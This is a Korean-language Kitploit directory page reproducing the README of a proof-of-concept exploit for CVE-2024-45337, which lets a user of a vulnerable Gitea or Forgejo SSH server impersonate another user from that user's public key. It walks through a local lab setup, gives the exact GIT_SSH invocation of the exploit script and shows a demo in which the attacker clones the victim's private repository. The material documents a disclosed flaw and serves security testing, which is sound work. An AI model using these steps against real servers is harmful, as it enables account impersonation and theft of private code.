Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/peace-maker/cve-2024-45337
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthentication
GitHubpeace-maker/cve-2024-45337

CVE-2024-45337

Gitea 및 Forgejo 대상 CVE-2024-45337 개념 증명

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-45337에 대한 개념 증명 익스플로잇

===

이 저장소에는 CVE-2024-45337에 대한 개념 증명 익스플로잇이 포함되어 있습니다. 이는 golang.org/x/crypto <= v0.30.0을 사용하여 구현되고 ServerConfig.PublicKeyCallback 콜백에서 권한을 안전하지 않은 방식으로 캐싱하는 SSH 서버와 상호작용할 때 ssh를 래핑하는 데 사용할 수 있습니다.

Gitea <= 1.22.4 및 Forgejo <= 7.0.11, 9.0.2는 내부 SSH 서버를 사용하여 호스팅할 때 취약합니다. 대상 사용자가 계정과 연결한 공개 키 중 하나만 알면 모든 사용자를 가장할 수 있습니다. SSH 인증에 사용할 계정이 직접 필요합니다.

PoC 실행

  1. 취약한 forgejo 또는 gitea 인스턴스를 시작하세요. Gitea Docker 이미지는 취약하지 않으므로 네이티브 바이너리로 실행해야 합니다.
root@kitploit:~
docker compose -f docker-compose.forgejo.yml up -d
  1. http://localhost:3000에서 SSH 포트를 22로 변경하여 설치하세요.
  2. victim 사용자를 등록하세요.
    1. http://localhost:3000/user/settings/keys에서 계정에 victim의 공개 키를 추가하세요.
    2. important_repo라는 비공개 저장소를 만들고 README가 포함된 초기 커밋을 생성하여 클론할 수 있는 상태로 만드세요.
  3. attacker 사용자를 등록하세요.
    1. http://localhost:3000/user/settings/keys에서 계정에 attacker의 공개 키를 추가하세요.
  4. attacker의 계정을 사용하여 저장소를 클론하세요.
    1. GIT_ATTACK_PRIVKEY를 유효한 계정의 개인 키 경로로 설정하세요.
    2. GIT_ATTACK_PUBKEY를 다른 대상 계정의 알려진 공개 키 경로로 설정하세요. 해당 키의 개인 키는 알 수 없습니다.
    3. git이 기본 ssh 명령 대신 이 익스플로잇 스크립트를 사용하도록 GIT_SSH를 스크립트 경로로 설정하세요.
root@kitploit:~
GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git

데모

클론 중에 키를 지정하려면 .ssh/config를 사용하세요.

root@kitploit:~
Host sshvictim
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_victim
 IdentitiesOnly yes
Host sshattacker
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_attacker
 IdentitiesOnly yes

위와 같이 설정된 로컬 Forgejo 7.0.11 컨테이너에 대해 실행하세요.

root@kitploit:~
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.

# Delete private key of victim for demo purposes
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
도구 다운로드